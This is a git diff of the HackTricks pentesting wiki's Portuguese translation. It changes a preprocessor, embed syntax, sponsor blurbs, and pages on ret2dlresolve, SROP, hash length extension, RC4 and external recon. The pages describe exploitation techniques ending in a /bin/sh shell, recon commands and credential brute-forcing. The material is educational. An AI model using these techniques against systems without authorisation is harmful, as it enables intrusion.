diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py
index fedfdef99..b3186537d 100644
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@@ -69,6 +69,12 @@ def ref(matchobj):
return result
+def add_read_time(content):
+ regex = r'(<\/style>\n# .*(?=\n))'
+ new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
+ return new_content
+
+
def iterate_chapters(sections):
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
return
@@ -99,6 +105,7 @@ if __name__ == '__main__':
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
+ new_content = add_read_time(new_content)
chapter['content'] = new_content
content = json.dumps(book)
diff --git a/src/README.md b/src/README.md
index e3be04339..0300c48d1 100644
--- a/src/README.md
+++ b/src/README.md
@@ -1,13 +1,10 @@
# HackTricks
-Reading time: {{ #reading_time }}
-
_Logos e design em movimento do Hacktricks por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
-> [!TIP]
-> **Bem-vindo ao wiki onde você encontrará cada truque/técnica de hacking/qualquer coisa que aprendi em CTFs, aplicativos da vida real, lendo pesquisas e notícias.**
+> [!TIP] > **Bem-vindo ao wiki onde você encontrará cada truque/técnica/habilidade de hacking que aprendi em CTFs, aplicativos da vida real, lendo pesquisas e notícias.**
Para começar, siga esta página onde você encontrará o **fluxo típico** que **você deve seguir ao realizar pentesting** em uma ou mais **máquinas:**
@@ -35,7 +32,9 @@ Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://
[**RootedCON**](https://www.rootedcon.com) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
-{% embed url="https://www.rootedcon.com/" %}
+{{#ref}}
+https://www.rootedcon.com/
+{{#endref}}
---
@@ -43,11 +42,13 @@ Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://
-**Intigriti** é a **plataforma de hacking ético e bug bounty número 1 da Europa.**
+**Intigriti** é a **plataforma de hacking ético e bug bounty #1 da Europa.**
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
-{% embed url="https://go.intigriti.com/hacktricks" %}
+{{#ref}}
+https://go.intigriti.com/hacktricks
+{{#endref}}
---
@@ -60,7 +61,9 @@ Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banne
Acesse hoje:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{{#ref}}
+https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
+{{#endref}}
---
@@ -70,7 +73,7 @@ Acesse hoje:
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
-- **Insights de Hacking:** Envolva-se com conteúdo que mergulha na emoção e nos desafios do hacking
+- **Insights de Hacking:** Envolva-se com conteúdo que explora a emoção e os desafios do hacking
- **Notícias de Hack em Tempo Real:** Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
- **Últimos Anúncios:** Fique informado sobre os novos bug bounties lançados e atualizações cruciais da plataforma
@@ -86,7 +89,9 @@ Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSb
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
+{{#ref}}
+https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
+{{#endref}}
---
@@ -111,7 +116,9 @@ Você pode **criar uma conta gratuita** [**aqui**](https://serpapi.com/users/sig
Aprenda as tecnologias e habilidades necessárias para realizar pesquisa de vulnerabilidades, testes de penetração e engenharia reversa para proteger aplicativos e dispositivos móveis. **Domine a segurança de iOS e Android** através de nossos cursos sob demanda e **obtenha certificação**:
-{% embed url="https://academy.8ksec.io/" %}
+{{#ref}}
+https://academy.8ksec.io/
+{{#endref}}
---
@@ -121,13 +128,15 @@ Aprenda as tecnologias e habilidades necessárias para realizar pesquisa de vuln
[**WebSec**](https://websec.nl) é uma empresa profissional de cibersegurança com sede em **Amsterdã** que ajuda a **proteger** empresas **em todo o mundo** contra as mais recentes ameaças de cibersegurança, fornecendo **serviços de segurança ofensiva** com uma abordagem **moderna**.
-WebSec é uma **empresa de segurança tudo-em-um**, o que significa que eles fazem tudo; Pentesting, **Auditorias** de Segurança, Treinamentos de Conscientização, Campanhas de Phishing, Revisão de Código, Desenvolvimento de Exploits, Terceirização de Especialistas em Segurança e muito mais.
+WebSec é uma **empresa de segurança tudo-em-um**, o que significa que eles fazem tudo; Pentesting, **Auditorias de Segurança**, Treinamentos de Conscientização, Campanhas de Phishing, Revisão de Código, Desenvolvimento de Exploits, Terceirização de Especialistas em Segurança e muito mais.
-Outra coisa legal sobre a WebSec é que, ao contrário da média do setor, a WebSec é **muito confiante em suas habilidades**, a tal ponto que **garante os melhores resultados de qualidade**, afirmando em seu site "**Se não conseguimos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
+Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec é **muito confiante em suas habilidades**, a tal ponto que **garante os melhores resultados de qualidade**, afirmando em seu site "**Se não conseguimos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
Além do acima, a WebSec também é um **apoiador comprometido do HackTricks.**
-{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
+{{#ref}}
+https://www.youtube.com/watch?v=Zq2JycGDCPM
+{{#endref}}
## Licença & Isenção de Responsabilidade
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
index 6ced399ac..492f53500 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
@@ -6,7 +6,7 @@
Como explicado na página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), binários sem Full Relro resolverão símbolos (como endereços para bibliotecas externas) na primeira vez que forem usados. Essa resolução ocorre chamando a função **`_dl_runtime_resolve`**.
-A função **`_dl_runtime_resolve`** pega do stack referências a algumas estruturas que precisa para **resolver** o símbolo especificado.
+A função **`_dl_runtime_resolve`** recebe da pilha referências a algumas estruturas que precisa para **resolver** o símbolo especificado.
Portanto, é possível **falsificar todas essas estruturas** para fazer a resolução dinâmica do símbolo solicitado (como a função **`system`**) e chamá-la com um parâmetro configurado (por exemplo, **`system('/bin/sh')`**).
@@ -17,7 +17,9 @@ Geralmente, todas essas estruturas são falsificadas fazendo uma **cadeia ROP in
Confira este vídeo para uma boa explicação sobre esta técnica na segunda metade do vídeo:
-{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
+{{#ref}}
+https://youtu.be/ADULSwnQs-s?feature=shared
+{{#endref}}
Ou confira estas páginas para uma explicação passo a passo:
@@ -27,7 +29,7 @@ Ou confira estas páginas para uma explicação passo a passo:
## Resumo do Ataque
1. Escrever estruturas falsas em algum lugar
-2. Definir o primeiro argumento do system (`$rdi = &'/bin/sh'`)
+2. Definir o primeiro argumento da system (`$rdi = &'/bin/sh'`)
3. Definir na pilha os endereços das estruturas para chamar **`_dl_runtime_resolve`**
4. **Chamar** `_dl_runtime_resolve`
5. **`system`** será resolvido e chamado com `'/bin/sh'` como argumento
@@ -56,7 +58,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
### Pure Pwntools
-Você pode encontrar um [**exemplo desta técnica aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **contendo uma explicação muito boa da cadeia ROP final**, mas aqui está o exploit final utilizado:
+Você pode encontrar um [**exemplo desta técnica aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **contendo uma explicação muito boa da cadeia ROP final**, mas aqui está o exploit final usado:
```python
from pwn import *
diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
index 08ec13923..84a599ebc 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
@@ -8,10 +8,10 @@
Após o manipulador de sinal terminar, o programa precisa **retomar seu estado anterior** como se nada tivesse acontecido. É aqui que **`sigreturn`** entra em cena. Ele ajuda o programa a **retornar do manipulador de sinal** e restaura o estado do programa limpando o quadro de pilha (a seção da memória que armazena chamadas de função e variáveis locais) que foi usado pelo manipulador de sinal.
-A parte interessante é como **`sigreturn`** restaura o estado do programa: ele faz isso armazenando **todos os valores dos registradores da CPU na pilha.** Quando o sinal não está mais bloqueado, **`sigreturn` remove esses valores da pilha**, efetivamente redefinindo os registradores da CPU para seu estado antes que o sinal fosse tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.
+A parte interessante é como **`sigreturn`** restaura o estado do programa: ele faz isso armazenando **todos os valores dos registradores da CPU na pilha.** Quando o sinal não está mais bloqueado, **`sigreturn` remove esses valores da pilha**, efetivamente redefinindo os registradores da CPU para seu estado antes do sinal ser tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.
> [!CAUTION]
-> Chamar a syscall **`sigreturn`** de uma cadeia ROP e **adicionar os valores dos registradores** que gostaríamos que fossem carregados na **pilha** torna possível **controlar** todos os valores dos registradores e, portanto, **chamar** por exemplo a syscall `execve` com `/bin/sh`.
+> Chamar a syscall **`sigreturn`** de uma cadeia ROP e **adicionar os valores dos registradores** que gostaríamos que ele carregasse na **pilha** torna possível **controlar** todos os valores dos registradores e, portanto, **chamar** por exemplo a syscall `execve` com `/bin/sh`.
Note como isso seria um **tipo de Ret2syscall** que torna muito mais fácil controlar os parâmetros para chamar outras Ret2syscalls:
@@ -55,9 +55,11 @@ Se você está curioso, esta é a **estrutura sigcontext** armazenada na pilha p
| __reserved | sigmask |
+--------------------+--------------------+
```
-Para uma melhor explicação, confira também:
+Para uma melhor explicação, verifique também:
-{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
+{{#ref}}
+https://youtu.be/ADULSwnQs-s?feature=shared
+{{#endref}}
## Exemplo
@@ -126,13 +128,13 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
-- Binário em Assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** e ler a flag que está dentro da memória do binário.
+- Binário de assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** e ler a flag que está dentro da memória do binário.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
-- Binário em Assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** (o binário tem a string `/bin/sh`).
+- Binário de assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** (o binário tem a string `/bin/sh`).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bits, sem relro, sem canário, nx, sem pie. Simples buffer overflow abusando da função `gets` com falta de gadgets que realiza um [**ret2syscall**](../rop-syscall-execv/). A cadeia ROP escreve `/bin/sh` na `.bss` chamando `gets` novamente, abusa da função **`alarm`** para definir eax como `0xf` para chamar um **SROP** e executar um shell.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
-- Programa em Assembly de 64 bits, sem relro, sem canário, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores e chamar uma syscall e então chama `exit`. A syscall selecionada é um `sigreturn` que irá definir registradores e mover `eip` para chamar uma instrução de syscall anterior e executar `memprotect` para definir o espaço binário como `rwx` e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamará `read` novamente para o ESP, mas neste caso o ESP estará apontando para a próxima instrução, então passando um shellcode, ele será escrito como a próxima instrução e executado.
+- Programa de assembly de 64 bits, sem relro, sem canário, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores e chamar uma syscall e então chama `exit`. A syscall selecionada é um `sigreturn` que irá definir registradores e mover `eip` para chamar uma instrução de syscall anterior e executar `memprotect` para definir o espaço binário como `rwx` e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamará `read` para o ESP novamente, mas neste caso o ESP estará apontando para a próxima instrução, então passando um shellcode irá escrevê-lo como a próxima instrução e executá-lo.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP é usado para dar privilégios de execução (memprotect) ao local onde um shellcode foi colocado.
diff --git a/src/burp-suite.md b/src/burp-suite.md
index cdcc0d948..e5dc9ca0f 100644
--- a/src/burp-suite.md
+++ b/src/burp-suite.md
@@ -10,7 +10,9 @@
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload para executar comandos e capturar a saída via solicitações DNS para burpcollab.
-{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
+{{#ref}}
+https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
+{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md
index 1eff6a3f7..777793988 100644
--- a/src/crypto-and-stego/esoteric-languages.md
+++ b/src/crypto-and-stego/esoteric-languages.md
@@ -48,7 +48,9 @@ Take it to the top
Whisper my world
```
-{% embed url="https://codewithrockstar.com/" %}
+{{#ref}}
+https://codewithrockstar.com/
+{{#endref}}
## PETOOH
```
diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md
index 0b7d57164..2e55eae8c 100644
--- a/src/crypto-and-stego/hash-length-extension-attack.md
+++ b/src/crypto-and-stego/hash-length-extension-attack.md
@@ -1,10 +1,10 @@
-# Hash Length Extension Attack
+# Ataque de Extensão de Comprimento de Hash
{{#include ../banners/hacktricks-training.md}}
## Resumo do ataque
-Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **segredo** a alguns dados de texto claro conhecidos e, em seguida, hashando esses dados. Se você souber:
+Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **segredo** a alguns dados de texto claro conhecidos e, em seguida, fazendo o hash desses dados. Se você souber:
- **O comprimento do segredo** (isso também pode ser forçado a partir de um intervalo de comprimento dado)
- **Os dados de texto claro**
@@ -17,19 +17,21 @@ Então, é possível para um **atacante** **anexar** **dados** e **gerar** uma *
### Como?
-Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir do** **hash** **anteriormente** criado (estado), eles **adicionam o próximo bloco de dados** e **hasham**.
+Basicamente, os algoritmos vulneráveis geram os hashes primeiro **fazendo o hash de um bloco de dados**, e então, **a partir do** **hash** **anteriormente** criado (estado), eles **adicionam o próximo bloco de dados** e **fazem o hash**.
-Então, imagine que o segredo é "segredo" e os dados são "dados", o MD5 de "segredodados" é 6036708eba0d11f6ef52ad44e8b74d5b.\
-Se um atacante quiser anexar a string "anexar", ele pode:
+Então, imagine que o segredo é "secret" e os dados são "data", o MD5 de "secretdata" é 6036708eba0d11f6ef52ad44e8b74d5b.\
+Se um atacante quiser anexar a string "append", ele pode:
- Gerar um MD5 de 64 "A"s
- Mudar o estado do hash previamente inicializado para 6036708eba0d11f6ef52ad44e8b74d5b
-- Anexar a string "anexar"
-- Finalizar o hash e o hash resultante será um **válido para "segredo" + "dados" + "padding" + "anexar"**
+- Anexar a string "append"
+- Finalizar o hash e o hash resultante será um **válido para "secret" + "data" + "padding" + "append"**
### **Ferramenta**
-{% embed url="https://github.com/iagox86/hash_extender" %}
+{{#ref}}
+https://github.com/iagox86/hash_extender
+{{#endref}}
### Referências
diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md
index 9b0f7353d..952240346 100644
--- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md
+++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md
@@ -4,8 +4,12 @@ Se você puder de alguma forma criptografar um texto simples usando RC4, poderá
Se você puder criptografar um texto simples conhecido, também poderá extrair a senha. Mais referências podem ser encontradas na máquina HTB Kryptos:
-{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
+{{#ref}}
+https://0xrick.github.io/hack-the-box/kryptos/
+{{#endref}}
-{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
+{{#ref}}
+https://0xrick.github.io/hack-the-box/kryptos/
+{{#endref}}
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md
index fcb09f2de..bd9d48dfb 100644
--- a/src/cryptography/hash-length-extension-attack.md
+++ b/src/cryptography/hash-length-extension-attack.md
@@ -2,32 +2,34 @@
# Resumo do ataque
-Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **secreto** a alguns dados de texto claro conhecidos e, em seguida, hashando esses dados. Se você souber:
+Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um **segredo** a alguns dados de texto claro conhecidos e, em seguida, hashando esses dados. Se você souber:
-- **O comprimento do secreto** (isso também pode ser forçado a partir de um intervalo de comprimento dado)
+- **O comprimento do segredo** (isso também pode ser forçado por força bruta a partir de um intervalo de comprimento dado)
- **Os dados de texto claro**
- **O algoritmo (e ele é vulnerável a este ataque)**
- **O padding é conhecido**
- Normalmente, um padrão padrão é usado, então se os outros 3 requisitos forem atendidos, isso também é
-- O padding varia dependendo do comprimento do secreto + dados, é por isso que o comprimento do secreto é necessário
+- O padding varia dependendo do comprimento do segredo + dados, é por isso que o comprimento do segredo é necessário
Então, é possível para um **atacante** **anexar** **dados** e **gerar** uma **assinatura** válida para os **dados anteriores + dados anexados**.
## Como?
-Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir do** **hash** **anteriormente** criado (estado), eles **adicionam o próximo bloco de dados** e **hasham**.
+Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir** do **hash** **anteriormente** criado (estado), eles **adicionam o próximo bloco de dados** e **hasham**.
-Então, imagine que o secreto é "secret" e os dados são "data", o MD5 de "secretdata" é 6036708eba0d11f6ef52ad44e8b74d5b.\
-Se um atacante quiser anexar a string "append", ele pode:
+Então, imagine que o segredo é "segredo" e os dados são "dados", o MD5 de "segredodados" é 6036708eba0d11f6ef52ad44e8b74d5b.\
+Se um atacante quiser anexar a string "anexar", ele pode:
- Gerar um MD5 de 64 "A"s
- Mudar o estado do hash previamente inicializado para 6036708eba0d11f6ef52ad44e8b74d5b
-- Anexar a string "append"
-- Finalizar o hash e o hash resultante será um **válido para "secret" + "data" + "padding" + "append"**
+- Anexar a string "anexar"
+- Finalizar o hash e o hash resultante será um **válido para "segredo" + "dados" + "padding" + "anexar"**
## **Ferramenta**
-{% embed url="https://github.com/iagox86/hash_extender" %}
+{{#ref}}
+https://github.com/iagox86/hash_extender
+{{#endref}}
## Referências
diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md
index 8f6db3bd9..952240346 100644
--- a/src/cryptography/rc4-encrypt-and-decrypt.md
+++ b/src/cryptography/rc4-encrypt-and-decrypt.md
@@ -1,11 +1,15 @@
{{#include ../banners/hacktricks-training.md}}
-Se você puder de alguma forma criptografar um texto simples usando RC4, você pode descriptografar qualquer conteúdo criptografado por esse RC4 (usando a mesma senha) apenas usando a função de criptografia.
+Se você puder de alguma forma criptografar um texto simples usando RC4, poderá descriptografar qualquer conteúdo criptografado por esse RC4 (usando a mesma senha) apenas usando a função de criptografia.
Se você puder criptografar um texto simples conhecido, também poderá extrair a senha. Mais referências podem ser encontradas na máquina HTB Kryptos:
-{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
+{{#ref}}
+https://0xrick.github.io/hack-the-box/kryptos/
+{{#endref}}
-{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
+{{#ref}}
+https://0xrick.github.io/hack-the-box/kryptos/
+{{#endref}}
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
index 4d954ac8d..58836f4f2 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
-
## Descobertas de Ativos
> Então, foi dito que tudo que pertence a alguma empresa está dentro do escopo, e você quer descobrir o que essa empresa realmente possui.
@@ -16,9 +15,9 @@ O objetivo desta fase é obter todas as **empresas pertencentes à empresa princ
### **Aquisições**
-Primeiramente, precisamos saber quais **outras empresas são propriedade da empresa principal**.\
+Primeiramente, precisamos saber quais **outras empresas são pertencentes à empresa principal**.\
Uma opção é visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **pesquisar** pela **empresa principal** e **clicar** em "**aquisições**". Lá você verá outras empresas adquiridas pela principal.\
-Outra opção é visitar a página da **Wikipedia** da empresa principal e procurar por **aquisições**.
+Outra opção é visitar a página da **Wikipedia** da empresa principal e buscar por **aquisições**.
> Ok, neste ponto você deve saber todas as empresas dentro do escopo. Vamos descobrir como encontrar seus ativos.
@@ -58,7 +57,7 @@ Você pode encontrar o IP e ASN de um domínio usando [http://ipv4info.com/](htt
### **Procurando vulnerabilidades**
Neste ponto, sabemos **todos os ativos dentro do escopo**, então, se você tiver permissão, poderia lançar algum **scanner de vulnerabilidades** (Nessus, OpenVAS) sobre todos os hosts.\
-Além disso, você poderia lançar alguns [**scans de portas**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e dependendo do que você encontrar, você deve** dar uma olhada neste livro sobre como fazer pentesting em vários serviços possíveis em execução.\
+Além disso, você poderia lançar alguns [**scans de porta**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e dependendo do que você encontrar, você deve** dar uma olhada neste livro sobre como fazer pentesting em vários serviços possíveis em execução.\
**Além disso, pode valer a pena mencionar que você também pode preparar algumas listas de** nomes de usuário padrão **e** senhas **e tentar** bruteforçar serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domínios
@@ -67,11 +66,11 @@ Além disso, você poderia lançar alguns [**scans de portas**](../pentesting-ne
_Por favor, note que nas técnicas propostas a seguir você também pode encontrar subdomínios e que essa informação não deve ser subestimada._
-Primeiramente, você deve procurar pelo(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_.
+Primeiro de tudo, você deve procurar o(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_.
### **DNS Reverso**
-Como você encontrou todos os intervalos de IP dos domínios, poderia tentar realizar **consultas de dns reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8)
+Como você encontrou todos os intervalos de IP dos domínios, você poderia tentar realizar **consultas de dns reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8)
```bash
dnsrecon -r -n #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@@ -91,7 +90,7 @@ Você pode usar ferramentas online como:
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratuito**
- [https://www.whoxy.com/](https://www.whoxy.com) - **Gratuito** na web, API não gratuita.
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Não gratuito
-- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não Gratuito (apenas **100 buscas gratuitas**)
+- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não Gratuito (apenas **100 pesquisas gratuitas**)
- [https://www.domainiq.com/](https://www.domainiq.com) - Não Gratuito
Você pode automatizar essa tarefa usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requer uma chave de API whoxy).\
@@ -114,7 +113,7 @@ Existem algumas páginas e ferramentas que permitem que você pesquise por esses
### **Favicon**
-Você sabia que podemos encontrar domínios e subdomínios relacionados ao nosso alvo procurando pelo mesmo hash do ícone favicon? Isso é exatamente o que a ferramenta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) feita por [@m4ll0k2](https://twitter.com/m4ll0k2) faz. Aqui está como usá-la:
+Você sabia que podemos encontrar domínios e subdomínios relacionados ao nosso alvo procurando pelo mesmo hash do ícone favicon? É exatamente isso que a ferramenta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) feita por [@m4ll0k2](https://twitter.com/m4ll0k2) faz. Aqui está como usá-la:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@@ -123,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
Simplificando, favihash nos permitirá descobrir domínios que têm o mesmo hash de ícone favicon que nosso alvo.
-Além disso, você também pode pesquisar tecnologias usando o hash do favicon, conforme explicado em [**este post do blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que, se você souber o **hash do favicon de uma versão vulnerável de uma tecnologia web**, pode pesquisar no shodan e **encontrar mais lugares vulneráveis**:
+Além disso, você também pode pesquisar tecnologias usando o hash do favicon, conforme explicado em [**este post do blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que se você souber o **hash do favicon de uma versão vulnerável de uma tecnologia web**, pode pesquisar no shodan e **encontrar mais lugares vulneráveis**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
@@ -142,7 +141,7 @@ return fhash
```
### **Copyright / Uniq string**
-Procure nas páginas da web **strings que podem ser compartilhadas entre diferentes sites na mesma organização**. A **string de copyright** pode ser um bom exemplo. Em seguida, procure por essa string no **google**, em outros **navegadores** ou até mesmo no **shodan**: `shodan search http.html:"Copyright string"`
+Procure nas páginas da web **strings que podem ser compartilhadas entre diferentes sites na mesma organização**. A **string de copyright** pode ser um bom exemplo. Em seguida, procure essa string no **google**, em outros **navegadores** ou até mesmo no **shodan**: `shodan search http.html:"Copyright string"`
### **CRT Time**
@@ -176,17 +175,15 @@ Você poderia acessar o **certificado TLS** da página principal, obter o **nome
**Assetfinder**
-[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura por **domínios relacionados** com um domínio principal e **subdomínios** deles, bastante incrível.
+[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura **domínios relacionados** com um domínio principal e **subdomínios** deles, bastante incrível.
### **Procurando vulnerabilidades**
-Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas **perdeu a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa.
